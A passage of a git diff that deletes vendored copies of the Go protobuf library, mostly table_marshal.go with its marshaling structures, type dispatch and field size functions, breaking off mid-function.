guaranteed to implement proto.Message if the name refers to a -// map entry. -func MessageType(name string) reflect.Type { - if t, ok := protoTypedNils[name]; ok { - return reflect.TypeOf(t) - } - return protoMapTypes[name] -} - -// A registry of all linked proto files. -var ( - protoFiles = make(map[string][]byte) // file name => fileDescriptor -) - -// RegisterFile is called from generated code and maps from the -// full file name of a .proto file to its compressed FileDescriptorProto. -func RegisterFile(filename string, fileDescriptor []byte) { - protoFiles[filename] = fileDescriptor -} - -// FileDescriptor returns the compressed FileDescriptorProto for a .proto file. -func FileDescriptor(filename string) []byte { return protoFiles[filename] } diff --git a/vendor/github.com/golang/protobuf/proto/table_marshal.go b/vendor/github.com/golang/protobuf/proto/table_marshal.go deleted file mode 100644 index 5cb11fa955..0000000000 --- a/vendor/github.com/golang/protobuf/proto/table_marshal.go +++ /dev/null @@ -1,2776 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2016 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -import ( - "errors" - "fmt" - "math" - "reflect" - "sort" - "strconv" - "strings" - "sync" - "sync/atomic" - "unicode/utf8" -) - -// a sizer takes a pointer to a field and the size of its tag, computes the size of -// the encoded data. -type sizer func(pointer, int) int - -// a marshaler takes a byte slice, a pointer to a field, and its tag (in wire format), -// marshals the field to the end of the slice, returns the slice and error (if any). -type marshaler func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) - -// marshalInfo is the information used for marshaling a message. -type marshalInfo struct { - typ reflect.Type - fields []*marshalFieldInfo - unrecognized field // offset of XXX_unrecognized - extensions field // offset of XXX_InternalExtensions - v1extensions field // offset of XXX_extensions - sizecache field // offset of XXX_sizecache - initialized int32 // 0 -- only typ is set, 1 -- fully initialized - messageset bool // uses message set wire format - hasmarshaler bool // has custom marshaler - sync.RWMutex // protect extElems map, also for initialization - extElems map[int32]*marshalElemInfo // info of extension elements -} - -// marshalFieldInfo is the information used for marshaling a field of a message. -type marshalFieldInfo struct { - field field - wiretag uint64 // tag in wire format - tagsize int // size of tag in wire format - sizer sizer - marshaler marshaler - isPointer bool - required bool // field is required - name string // name of the field, for error reporting - oneofElems map[reflect.Type]*marshalElemInfo // info of oneof elements -} - -// marshalElemInfo is the information used for marshaling an extension or oneof element. -type marshalElemInfo struct { - wiretag uint64 // tag in wire format - tagsize int // size of tag in wire format - sizer sizer - marshaler marshaler - isptr bool // elem is pointer typed, thus interface of this type is a direct interface (extension only) - deref bool // dereference the pointer before operating on it; implies isptr -} - -var ( - marshalInfoMap = map[reflect.Type]*marshalInfo{} - marshalInfoLock sync.Mutex -) - -// getMarshalInfo returns the information to marshal a given type of message. -// The info it returns may not necessarily initialized. -// t is the type of the message (NOT the pointer to it). -func getMarshalInfo(t reflect.Type) *marshalInfo { - marshalInfoLock.Lock() - u, ok := marshalInfoMap[t] - if !ok { - u = &marshalInfo{typ: t} - marshalInfoMap[t] = u - } - marshalInfoLock.Unlock() - return u -} - -// Size is the entry point from generated code, -// and should be ONLY called by generated code. -// It computes the size of encoded data of msg. -// a is a pointer to a place to store cached marshal info. -func (a *InternalMessageInfo) Size(msg Message) int { - u := getMessageMarshalInfo(msg, a) - ptr := toPointer(&msg) - if ptr.isNil() { - // We get here if msg is a typed nil ((*SomeMessage)(nil)), - // so it satisfies the interface, and msg == nil wouldn't - // catch it. We don't want crash in this case. - return 0 - } - return u.size(ptr) -} - -// Marshal is the entry point from generated code, -// and should be ONLY called by generated code. -// It marshals msg to the end of b. -// a is a pointer to a place to store cached marshal info. -func (a *InternalMessageInfo) Marshal(b []byte, msg Message, deterministic bool) ([]byte, error) { - u := getMessageMarshalInfo(msg, a) - ptr := toPointer(&msg) - if ptr.isNil() { - // We get here if msg is a typed nil ((*SomeMessage)(nil)), - // so it satisfies the interface, and msg == nil wouldn't - // catch it. We don't want crash in this case. - return b, ErrNil - } - return u.marshal(b, ptr, deterministic) -} - -func getMessageMarshalInfo(msg interface{}, a *InternalMessageInfo) *marshalInfo { - // u := a.marshal, but atomically. - // We use an atomic here to ensure memory consistency. - u := atomicLoadMarshalInfo(&a.marshal) - if u == nil { - // Get marshal information from type of message. - t := reflect.ValueOf(msg).Type() - if t.Kind() != reflect.Ptr { - panic(fmt.Sprintf("cannot handle non-pointer message type %v", t)) - } - u = getMarshalInfo(t.Elem()) - // Store it in the cache for later users. - // a.marshal = u, but atomically. - atomicStoreMarshalInfo(&a.marshal, u) - } - return u -} - -// size is the main function to compute the size of the encoded data of a message. -// ptr is the pointer to the message. -func (u *marshalInfo) size(ptr pointer) int { - if atomic.LoadInt32(&u.initialized) == 0 { - u.computeMarshalInfo() - } - - // If the message can marshal itself, let it do it, for compatibility. - // NOTE: This is not efficient. - if u.hasmarshaler { - m := ptr.asPointerTo(u.typ).Interface().(Marshaler) - b, _ := m.Marshal() - return len(b) - } - - n := 0 - for _, f := range u.fields { - if f.isPointer && ptr.offset(f.field).getPointer().isNil() { - // nil pointer always marshals to nothing - continue - } - n += f.sizer(ptr.offset(f.field), f.tagsize) - } - if u.extensions.IsValid() { - e := ptr.offset(u.extensions).toExtensions() - if u.messageset { - n += u.sizeMessageSet(e) - } else { - n += u.sizeExtensions(e) - } - } - if u.v1extensions.IsValid() { - m := *ptr.offset(u.v1extensions).toOldExtensions() - n += u.sizeV1Extensions(m) - } - if u.unrecognized.IsValid() { - s := *ptr.offset(u.unrecognized).toBytes() - n += len(s) - } - // cache the result for use in marshal - if u.sizecache.IsValid() { - atomic.StoreInt32(ptr.offset(u.sizecache).toInt32(), int32(n)) - } - return n -} - -// cachedsize gets the size from cache. If there is no cache (i.e. message is not generated), -// fall back to compute the size. -func (u *marshalInfo) cachedsize(ptr pointer) int { - if u.sizecache.IsValid() { - return int(atomic.LoadInt32(ptr.offset(u.sizecache).toInt32())) - } - return u.size(ptr) -} - -// marshal is the main function to marshal a message. It takes a byte slice and appends -// the encoded data to the end of the slice, returns the slice and error (if any). -// ptr is the pointer to the message. -// If deterministic is true, map is marshaled in deterministic order. -func (u *marshalInfo) marshal(b []byte, ptr pointer, deterministic bool) ([]byte, error) { - if atomic.LoadInt32(&u.initialized) == 0 { - u.computeMarshalInfo() - } - - // If the message can marshal itself, let it do it, for compatibility. - // NOTE: This is not efficient. - if u.hasmarshaler { - m := ptr.asPointerTo(u.typ).Interface().(Marshaler) - b1, err := m.Marshal() - b = append(b, b1...) - return b, err - } - - var err, errLater error - // The old marshaler encodes extensions at beginning. - if u.extensions.IsValid() { - e := ptr.offset(u.extensions).toExtensions() - if u.messageset { - b, err = u.appendMessageSet(b, e, deterministic) - } else { - b, err = u.appendExtensions(b, e, deterministic) - } - if err != nil { - return b, err - } - } - if u.v1extensions.IsValid() { - m := *ptr.offset(u.v1extensions).toOldExtensions() - b, err = u.appendV1Extensions(b, m, deterministic) - if err != nil { - return b, err - } - } - for _, f := range u.fields { - if f.required { - if ptr.offset(f.field).getPointer().isNil() { - // Required field is not set. - // We record the error but keep going, to give a complete marshaling. - if errLater == nil { - errLater = &RequiredNotSetError{f.name} - } - continue - } - } - if f.isPointer && ptr.offset(f.field).getPointer().isNil() { - // nil pointer always marshals to nothing - continue - } - b, err = f.marshaler(b, ptr.offset(f.field), f.wiretag, deterministic) - if err != nil { - if err1, ok := err.(*RequiredNotSetError); ok { - // Required field in submessage is not set. - // We record the error but keep going, to give a complete marshaling. - if errLater == nil { - errLater = &RequiredNotSetError{f.name + "." + err1.field} - } - continue - } - if err == errRepeatedHasNil { - err = errors.New("proto: repeated field " + f.name + " has nil element") - } - if err == errInvalidUTF8 { - if errLater == nil { - fullName := revProtoTypes[reflect.PtrTo(u.typ)] + "." + f.name - errLater = &invalidUTF8Error{fullName} - } - continue - } - return b, err - } - } - if u.unrecognized.IsValid() { - s := *ptr.offset(u.unrecognized).toBytes() - b = append(b, s...) - } - return b, errLater -} - -// computeMarshalInfo initializes the marshal info. -func (u *marshalInfo) computeMarshalInfo() { - u.Lock() - defer u.Unlock() - if u.initialized != 0 { // non-atomic read is ok as it is protected by the lock - return - } - - t := u.typ - u.unrecognized = invalidField - u.extensions = invalidField - u.v1extensions = invalidField - u.sizecache = invalidField - - // If the message can marshal itself, let it do it, for compatibility. - // NOTE: This is not efficient. - if reflect.PtrTo(t).Implements(marshalerType) { - u.hasmarshaler = true - atomic.StoreInt32(&u.initialized, 1) - return - } - - // get oneof implementers - var oneofImplementers []interface{} - switch m := reflect.Zero(reflect.PtrTo(t)).Interface().(type) { - case oneofFuncsIface: - _, _, _, oneofImplementers = m.XXX_OneofFuncs() - case oneofWrappersIface: - oneofImplementers = m.XXX_OneofWrappers() - } - - n := t.NumField() - - // deal with XXX fields first - for i := 0; i < t.NumField(); i++ { - f := t.Field(i) - if !strings.HasPrefix(f.Name, "XXX_") { - continue - } - switch f.Name { - case "XXX_sizecache": - u.sizecache = toField(&f) - case "XXX_unrecognized": - u.unrecognized = toField(&f) - case "XXX_InternalExtensions": - u.extensions = toField(&f) - u.messageset = f.Tag.Get("protobuf_messageset") == "1" - case "XXX_extensions": - u.v1extensions = toField(&f) - case "XXX_NoUnkeyedLiteral": - // nothing to do - default: - panic("unknown XXX field: " + f.Name) - } - n-- - } - - // normal fields - fields := make([]marshalFieldInfo, n) // batch allocation - u.fields = make([]*marshalFieldInfo, 0, n) - for i, j := 0, 0; i < t.NumField(); i++ { - f := t.Field(i) - - if strings.HasPrefix(f.Name, "XXX_") { - continue - } - field := &fields[j] - j++ - field.name = f.Name - u.fields = append(u.fields, field) - if f.Tag.Get("protobuf_oneof") != "" { - field.computeOneofFieldInfo(&f, oneofImplementers) - continue - } - if f.Tag.Get("protobuf") == "" { - // field has no tag (not in generated message), ignore it - u.fields = u.fields[:len(u.fields)-1] - j-- - continue - } - field.computeMarshalFieldInfo(&f) - } - - // fields are marshaled in tag order on the wire. - sort.Sort(byTag(u.fields)) - - atomic.StoreInt32(&u.initialized, 1) -} - -// helper for sorting fields by tag -type byTag []*marshalFieldInfo - -func (a byTag) Len() int { return len(a) } -func (a byTag) Swap(i, j int) { a[i], a[j] = a[j], a[i] } -func (a byTag) Less(i, j int) bool { return a[i].wiretag < a[j].wiretag } - -// getExtElemInfo returns the information to marshal an extension element. -// The info it returns is initialized. -func (u *marshalInfo) getExtElemInfo(desc *ExtensionDesc) *marshalElemInfo { - // get from cache first - u.RLock() - e, ok := u.extElems[desc.Field] - u.RUnlock() - if ok { - return e - } - - t := reflect.TypeOf(desc.ExtensionType) // pointer or slice to basic type or struct - tags := strings.Split(desc.Tag, ",") - tag, err := strconv.Atoi(tags[1]) - if err != nil { - panic("tag is not an integer") - } - wt := wiretype(tags[0]) - if t.Kind() == reflect.Ptr && t.Elem().Kind() != reflect.Struct { - t = t.Elem() - } - sizer, marshaler := typeMarshaler(t, tags, false, false) - var deref bool - if t.Kind() == reflect.Slice && t.Elem().Kind() != reflect.Uint8 { - t = reflect.PtrTo(t) - deref = true - } - e = &marshalElemInfo{ - wiretag: uint64(tag)<<3 | wt, - tagsize: SizeVarint(uint64(tag) << 3), - sizer: sizer, - marshaler: marshaler, - isptr: t.Kind() == reflect.Ptr, - deref: deref, - } - - // update cache - u.Lock() - if u.extElems == nil { - u.extElems = make(map[int32]*marshalElemInfo) - } - u.extElems[desc.Field] = e - u.Unlock() - return e -} - -// computeMarshalFieldInfo fills up the information to marshal a field. -func (fi *marshalFieldInfo) computeMarshalFieldInfo(f *reflect.StructField) { - // parse protobuf tag of the field. - // tag has format of "bytes,49,opt,name=foo,def=hello!" - tags := strings.Split(f.Tag.Get("protobuf"), ",") - if tags[0] == "" { - return - } - tag, err := strconv.Atoi(tags[1]) - if err != nil { - panic("tag is not an integer") - } - wt := wiretype(tags[0]) - if tags[2] == "req" { - fi.required = true - } - fi.setTag(f, tag, wt) - fi.setMarshaler(f, tags) -} - -func (fi *marshalFieldInfo) computeOneofFieldInfo(f *reflect.StructField, oneofImplementers []interface{}) { - fi.field = toField(f) - fi.wiretag = math.MaxInt32 // Use a large tag number, make oneofs sorted at the end. This tag will not appear on the wire. - fi.isPointer = true - fi.sizer, fi.marshaler = makeOneOfMarshaler(fi, f) - fi.oneofElems = make(map[reflect.Type]*marshalElemInfo) - - ityp := f.Type // interface type - for _, o := range oneofImplementers { - t := reflect.TypeOf(o) - if !t.Implements(ityp) { - continue - } - sf := t.Elem().Field(0) // oneof implementer is a struct with a single field - tags := strings.Split(sf.Tag.Get("protobuf"), ",") - tag, err := strconv.Atoi(tags[1]) - if err != nil { - panic("tag is not an integer") - } - wt := wiretype(tags[0]) - sizer, marshaler := typeMarshaler(sf.Type, tags, false, true) // oneof should not omit any zero value - fi.oneofElems[t.Elem()] = &marshalElemInfo{ - wiretag: uint64(tag)<<3 | wt, - tagsize: SizeVarint(uint64(tag) << 3), - sizer: sizer, - marshaler: marshaler, - } - } -} - -// wiretype returns the wire encoding of the type. -func wiretype(encoding string) uint64 { - switch encoding { - case "fixed32": - return WireFixed32 - case "fixed64": - return WireFixed64 - case "varint", "zigzag32", "zigzag64": - return WireVarint - case "bytes": - return WireBytes - case "group": - return WireStartGroup - } - panic("unknown wire type " + encoding) -} - -// setTag fills up the tag (in wire format) and its size in the info of a field. -func (fi *marshalFieldInfo) setTag(f *reflect.StructField, tag int, wt uint64) { - fi.field = toField(f) - fi.wiretag = uint64(tag)<<3 | wt - fi.tagsize = SizeVarint(uint64(tag) << 3) -} - -// setMarshaler fills up the sizer and marshaler in the info of a field. -func (fi *marshalFieldInfo) setMarshaler(f *reflect.StructField, tags []string) { - switch f.Type.Kind() { - case reflect.Map: - // map field - fi.isPointer = true - fi.sizer, fi.marshaler = makeMapMarshaler(f) - return - case reflect.Ptr, reflect.Slice: - fi.isPointer = true - } - fi.sizer, fi.marshaler = typeMarshaler(f.Type, tags, true, false) -} - -// typeMarshaler returns the sizer and marshaler of a given field. -// t is the type of the field. -// tags is the generated "protobuf" tag of the field. -// If nozero is true, zero value is not marshaled to the wire. -// If oneof is true, it is a oneof field. -func typeMarshaler(t reflect.Type, tags []string, nozero, oneof bool) (sizer, marshaler) { - encoding := tags[0] - - pointer := false - slice := false - if t.Kind() == reflect.Slice && t.Elem().Kind() != reflect.Uint8 { - slice = true - t = t.Elem() - } - if t.Kind() == reflect.Ptr { - pointer = true - t = t.Elem() - } - - packed := false - proto3 := false - validateUTF8 := true - for i := 2; i < len(tags); i++ { - if tags[i] == "packed" { - packed = true - } - if tags[i] == "proto3" { - proto3 = true - } - } - validateUTF8 = validateUTF8 && proto3 - - switch t.Kind() { - case reflect.Bool: - if pointer { - return sizeBoolPtr, appendBoolPtr - } - if slice { - if packed { - return sizeBoolPackedSlice, appendBoolPackedSlice - } - return sizeBoolSlice, appendBoolSlice - } - if nozero { - return sizeBoolValueNoZero, appendBoolValueNoZero - } - return sizeBoolValue, appendBoolValue - case reflect.Uint32: - switch encoding { - case "fixed32": - if pointer { - return sizeFixed32Ptr, appendFixed32Ptr - } - if slice { - if packed { - return sizeFixed32PackedSlice, appendFixed32PackedSlice - } - return sizeFixed32Slice, appendFixed32Slice - } - if nozero { - return sizeFixed32ValueNoZero, appendFixed32ValueNoZero - } - return sizeFixed32Value, appendFixed32Value - case "varint": - if pointer { - return sizeVarint32Ptr, appendVarint32Ptr - } - if slice { - if packed { - return sizeVarint32PackedSlice, appendVarint32PackedSlice - } - return sizeVarint32Slice, appendVarint32Slice - } - if nozero { - return sizeVarint32ValueNoZero, appendVarint32ValueNoZero - } - return sizeVarint32Value, appendVarint32Value - } - case reflect.Int32: - switch encoding { - case "fixed32": - if pointer { - return sizeFixedS32Ptr, appendFixedS32Ptr - } - if slice { - if packed { - return sizeFixedS32PackedSlice, appendFixedS32PackedSlice - } - return sizeFixedS32Slice, appendFixedS32Slice - } - if nozero { - return sizeFixedS32ValueNoZero, appendFixedS32ValueNoZero - } - return sizeFixedS32Value, appendFixedS32Value - case "varint": - if pointer { - return sizeVarintS32Ptr, appendVarintS32Ptr - } - if slice { - if packed { - return sizeVarintS32PackedSlice, appendVarintS32PackedSlice - } - return sizeVarintS32Slice, appendVarintS32Slice - } - if nozero { - return sizeVarintS32ValueNoZero, appendVarintS32ValueNoZero - } - return sizeVarintS32Value, appendVarintS32Value - case "zigzag32": - if pointer { - return sizeZigzag32Ptr, appendZigzag32Ptr - } - if slice { - if packed { - return sizeZigzag32PackedSlice, appendZigzag32PackedSlice - } - return sizeZigzag32Slice, appendZigzag32Slice - } - if nozero { - return sizeZigzag32ValueNoZero, appendZigzag32ValueNoZero - } - return sizeZigzag32Value, appendZigzag32Value - } - case reflect.Uint64: - switch encoding { - case "fixed64": - if pointer { - return sizeFixed64Ptr, appendFixed64Ptr - } - if slice { - if packed { - return sizeFixed64PackedSlice, appendFixed64PackedSlice - } - return sizeFixed64Slice, appendFixed64Slice - } - if nozero { - return sizeFixed64ValueNoZero, appendFixed64ValueNoZero - } - return sizeFixed64Value, appendFixed64Value - case "varint": - if pointer { - return sizeVarint64Ptr, appendVarint64Ptr - } - if slice { - if packed { - return sizeVarint64PackedSlice, appendVarint64PackedSlice - } - return sizeVarint64Slice, appendVarint64Slice - } - if nozero { - return sizeVarint64ValueNoZero, appendVarint64ValueNoZero - } - return sizeVarint64Value, appendVarint64Value - } - case reflect.Int64: - switch encoding { - case "fixed64": - if pointer { - return sizeFixedS64Ptr, appendFixedS64Ptr - } - if slice { - if packed { - return sizeFixedS64PackedSlice, appendFixedS64PackedSlice - } - return sizeFixedS64Slice, appendFixedS64Slice - } - if nozero { - return sizeFixedS64ValueNoZero, appendFixedS64ValueNoZero - } - return sizeFixedS64Value, appendFixedS64Value - case "varint": - if pointer { - return sizeVarintS64Ptr, appendVarintS64Ptr - } - if slice { - if packed { - return sizeVarintS64PackedSlice, appendVarintS64PackedSlice - } - return sizeVarintS64Slice, appendVarintS64Slice - } - if nozero { - return sizeVarintS64ValueNoZero, appendVarintS64ValueNoZero - } - return sizeVarintS64Value, appendVarintS64Value - case "zigzag64": - if pointer { - return sizeZigzag64Ptr, appendZigzag64Ptr - } - if slice { - if packed { - return sizeZigzag64PackedSlice, appendZigzag64PackedSlice - } - return sizeZigzag64Slice, appendZigzag64Slice - } - if nozero { - return sizeZigzag64ValueNoZero, appendZigzag64ValueNoZero - } - return sizeZigzag64Value, appendZigzag64Value - } - case reflect.Float32: - if pointer { - return sizeFloat32Ptr, appendFloat32Ptr - } - if slice { - if packed { - return sizeFloat32PackedSlice, appendFloat32PackedSlice - } - return sizeFloat32Slice, appendFloat32Slice - } - if nozero { - return sizeFloat32ValueNoZero, appendFloat32ValueNoZero - } - return sizeFloat32Value, appendFloat32Value - case reflect.Float64: - if pointer { - return sizeFloat64Ptr, appendFloat64Ptr - } - if slice { - if packed { - return sizeFloat64PackedSlice, appendFloat64PackedSlice - } - return sizeFloat64Slice, appendFloat64Slice - } - if nozero { - return sizeFloat64ValueNoZero, appendFloat64ValueNoZero - } - return sizeFloat64Value, appendFloat64Value - case reflect.String: - if validateUTF8 { - if pointer { - return sizeStringPtr, appendUTF8StringPtr - } - if slice { - return sizeStringSlice, appendUTF8StringSlice - } - if nozero { - return sizeStringValueNoZero, appendUTF8StringValueNoZero - } - return sizeStringValue, appendUTF8StringValue - } - if pointer { - return sizeStringPtr, appendStringPtr - } - if slice { - return sizeStringSlice, appendStringSlice - } - if nozero { - return sizeStringValueNoZero, appendStringValueNoZero - } - return sizeStringValue, appendStringValue - case reflect.Slice: - if slice { - return sizeBytesSlice, appendBytesSlice - } - if oneof { - // Oneof bytes field may also have "proto3" tag. - // We want to marshal it as a oneof field. Do this - // check before the proto3 check. - return sizeBytesOneof, appendBytesOneof - } - if proto3 { - return sizeBytes3, appendBytes3 - } - return sizeBytes, appendBytes - case reflect.Struct: - switch encoding { - case "group": - if slice { - return makeGroupSliceMarshaler(getMarshalInfo(t)) - } - return makeGroupMarshaler(getMarshalInfo(t)) - case "bytes": - if slice { - return makeMessageSliceMarshaler(getMarshalInfo(t)) - } - return makeMessageMarshaler(getMarshalInfo(t)) - } - } - panic(fmt.Sprintf("unknown or mismatched type: type: %v, wire type: %v", t, encoding)) -} - -// Below are functions to size/marshal a specific type of a field. -// They are stored in the field's info, and called by function pointers. -// They have type sizer or marshaler. - -func sizeFixed32Value(_ pointer, tagsize int) int { - return 4 + tagsize -} -func sizeFixed32ValueNoZero(ptr pointer, tagsize int) int { - v := *ptr.toUint32() - if v == 0 { - return 0 - } - return 4 + tagsize -} -func sizeFixed32Ptr(ptr pointer, tagsize int) int { - p := *ptr.toUint32Ptr() - if p == nil { - return 0 - } - return 4 + tagsize -} -func sizeFixed32Slice(ptr pointer, tagsize int) int { - s := *ptr.toUint32Slice() - return (4 + tagsize) * len(s) -} -func sizeFixed32PackedSlice(ptr pointer, tagsize int) int { - s := *ptr.toUint32Slice() - if len(s) == 0 { - return 0 - } - return 4*len(s) + SizeVarint(uint64(4*len(s))) + tagsize -} -func sizeFixedS32Value(_ pointer, tagsize int) int { - return 4 + tagsize -} -func sizeFixedS32ValueNoZero(ptr pointer, tagsize int) int { - v := *ptr.toInt32() - if v == 0 { - return 0 - } - return 4 + tagsize -} -func sizeFixedS32Ptr(ptr pointer, tagsize int) int { - p := ptr.getInt32Ptr() - if p == nil { - return 0 - } - return 4 + tagsize -} -func sizeFixedS32Slice(ptr pointer, tagsize int) int { - s := ptr.getInt32Slice() - return (4 + tagsize) * len(s) -} -func sizeFixedS32PackedSlice(ptr pointer, tagsize int) int { - s := ptr.getInt32Slice() - if len(s) == 0 { - return 0 - } - return 4*len(s) + SizeVarint(uint64(4*len(s))) + tagsize -} -func sizeFloat32Value(_ pointer, tagsize int) int { - return 4 + tagsize -} -func sizeFloat32ValueNoZero(ptr pointer, tagsize int) int { - v := math.Float32bits(*ptr.toFloat32()) - if v == 0 { - return 0 - } - return 4 + tagsize -} -func sizeFloat32Ptr(ptr pointer, tagsize int) int { - p := *ptr.toFloat32Ptr() - if p == nil { - return 0 - } - return 4 + tagsize -} -func sizeFloat32Slice(ptr pointer, tagsize int) int { - s := *ptr.toFloat32Slice() - return (4 + tagsize) * len(s) -} -func sizeFloat32PackedSlice(ptr pointer, tagsize int) int { - s := *ptr.toFloat32Slice() - if len(s) == 0 { - return 0 - } - return 4*len(s) + SizeVarint(uint64(4*len(s))) + tagsize -} -func sizeFixed64Value(_ pointer, tagsize int) int { - return 8 + tagsize -} -func sizeFixed64ValueNoZero(ptr pointer, tagsize int) int { - v := *ptr.toUint64() - if v == 0 { - return 0 - } - return 8 + tagsize -} -func sizeFixed64Ptr(ptr pointer, tagsize int) int { - p := *ptr.toUint64Ptr() - if p == nil { - return 0 - } - return 8 + tagsize -} -func sizeFixed64Slice(ptr pointer, tagsize int) int { - s := *ptr.toUint64Slice() - return (8 + tagsize) * len(s) -} -func sizeFixed64PackedSlice(ptr pointer, tagsize int) int { - s := *ptr.toUint64Slice() - if len(s) == 0 { - return 0 - } - return 8*len(s) + SizeVarint(uint64(8*len(s))) + tagsize -} -func sizeFixedS64Value(_ pointer, tagsize int) int { - return 8 + tagsize -} -func sizeFixedS64ValueNoZero(ptr pointer, tagsize int) int { - v := *ptr.toInt64() - if v == 0 { - return 0 - } - return 8 + tagsize -} -func sizeFixedS64Ptr(ptr pointer, tagsize int) int { - p := *ptr.toInt64Ptr() - if p == nil { - return 0 - } - return 8 + tagsize -} -func sizeFixedS64Slice(ptr pointer, tagsize int) int { - s := *ptr.toInt64Slice() - return (8 + tagsize) * len(s) -} -func sizeFixedS64PackedSlice(ptr pointer, tagsize int) int { - s := *ptr.toInt64Slice() - if len(s) == 0 { - return 0 - } - return 8*len(s) + SizeVarint(uint64(8*len(s))) + tagsize -} -func sizeFloat64Value(_ pointer, tagsize int) int { - return 8 + tagsize -} -func sizeFloat64ValueNoZero(ptr pointer, tagsize int) int { - v := math.Float64bits(*ptr.toFloat64()) - if v == 0 { - return 0 - } - return 8 + tagsize -} -func sizeFloat64Ptr(ptr pointer, tagsize int) int { - p := *ptr.toFloat64Ptr() - if p == nil { - return 0 - } - return 8 + tagsize -} -func sizeFloat64Slice(ptr pointer, tagsize int) int { - s := *ptr.toFloat64Slice() - return (8 + tagsize) * len(s) -} -func sizeFloat64PackedSlice(ptr pointer, tagsize int) int { - s := *ptr.toFloat64Slice() - if len(s) == 0 { - return 0 - } - return 8*len(s) + SizeVarint(uint64(8*len(s))) + tagsize -} -func sizeVarint32Value(ptr pointer, tagsize int) int { - v := *ptr.toUint32() - return SizeVarint(uint64(v)) + tagsize -} -func sizeVarint32ValueNoZero(ptr pointer, tagsize int) int { - v := *ptr.toUint32() - if v == 0 { - return 0 - } - return SizeVarint(uint64(v)) + tagsize -} -func sizeVarint32Ptr(ptr pointer, tagsize int) int { - p := *ptr.toUint32Ptr() - if p == nil { - return 0 - } - return SizeVarint(uint64(*p)) + tagsize -} -func sizeVarint32Slice(ptr pointer, tagsize int) int { - s := *ptr.toUint32Slice() - n := 0 - for _, v := range s { - n += SizeVarint(uint64(v)) + tagsize - } - return n -} -func sizeVarint32PackedSlice(ptr pointer, tagsize int) int { - s := *ptr.toUint32Slice() - if len(s) == 0 { - return 0 - } - n := 0 - for _, v := range s { - n += SizeVarint(uint64(v)) - } - return n + SizeVarint(uint64(n)) + tagsize -} -func sizeVarintS32Value(ptr pointer, tagsize int) int { - v := *ptr.toInt32() - return SizeVarint(uint64(v)) + tagsize -} -func sizeVarintS32ValueNoZero(ptr pointer, tagsize int) int { - v := *ptr.toInt32() - if v == 0 { - return 0 - } - return SizeVarint(uint64(v)) + tagsize -} -func sizeVarintS32Ptr(ptr pointer, tagsize int) int { - p := ptr.getInt32Ptr() - if p == nil { - return 0 - } - return SizeVarint(uint64(*p)) + tagsize -} -func sizeVarintS32Slice(ptr pointer, tagsize int) int { - s := ptr.getInt32Slice() - n := 0 - for _, v := range s { - n += SizeVarint(uint64(v)) + tagsize - } - return n -} -func sizeVarintS32PackedSlice(ptr pointer, tagsize int) int { - s := ptr.getInt32Slice() - if len(s) == 0 { - return 0 - } - n := 0 - for _, v := range s { - n += SizeVarint(uint64(v)) - } - return n + SizeVarint(uint64(n)) + tagsize -} -func sizeVarint64Value(ptr pointer, tagsize int) int { - v := *ptr.toUint64() - return SizeVarint(v) + tagsize -} -func sizeVarint64ValueNoZero(ptr pointer, tagsize int) int { - v := *ptr.toUint64() - if v == 0 { - return 0 - } - return SizeVarint(v) + tagsize -} -func sizeVarint64Ptr(ptr pointer, tagsize int) int { - p := *ptr.toUint64Ptr() - if p == nil { - return 0 - } - return SizeVarint(*p) + tagsize -} -func sizeVarint64Slice(ptr pointer, tagsize int) int { - s := *ptr.toUint64Slice() - n := 0 - for _, v := range s { - n += SizeVarint(v) + tagsize - } - return n -} -func sizeVarint64PackedSlice(ptr pointer, tagsize int) int { - s := *ptr.toUint64Slice() - if len(s) == 0 { - return 0 - } - n := 0 - for _, v := range s { - n += SizeVarint(v) - } - return n + SizeVarint(uint64(n)) + tagsize -} -func sizeVarintS64Value(ptr pointer, tagsize int) int { - v := *ptr.toInt64() - return SizeVarint(uint64(v)) + tagsize -} -func sizeVarintS64ValueNoZero(ptr pointer, tagsize int) int { - v := *ptr.toInt64() - if v == 0 { - return 0 - } - return SizeVarint(uint64(v)) + tagsize -} -func sizeVarintS64Ptr(ptr pointer, tagsize int) int { - p := *ptr.toInt64Ptr() - if p == nil { - return 0 - } - return SizeVarint(uint64(*p)) + tagsize -} -func sizeVarintS64Slice(ptr pointer, tagsize int) int { - s := *ptr.toInt64Slice() - n := 0 - for _, v := range s { - n += SizeVarint(uint64(v)) + tagsize - } - return n -} -func sizeVarintS64PackedSlice(ptr pointer, tagsize int) int { - s := *ptr.toInt64Slice() - if len(s) == 0 { - return 0 - } - n := 0 - for _, v := range s { - n += SizeVarint(uint64(v)) - } - return n + SizeVarint(uint64(n)) + tagsize -} -func sizeZigzag32Value(ptr pointer, tagsize int) int { - v := *ptr.toInt32() - return SizeVarint(uint64((uint32(v)<<1)^uint32((int32(v)>>31)))) + tagsize -} -func sizeZigzag32ValueNoZero(ptr pointer, tagsize int) int { - v := *ptr.toInt32() - if v == 0 { - return 0 - } - return SizeVarint(uint64((uint32(v)<<1)^uint32((int32(v)>>31)))) + tagsize -} -func 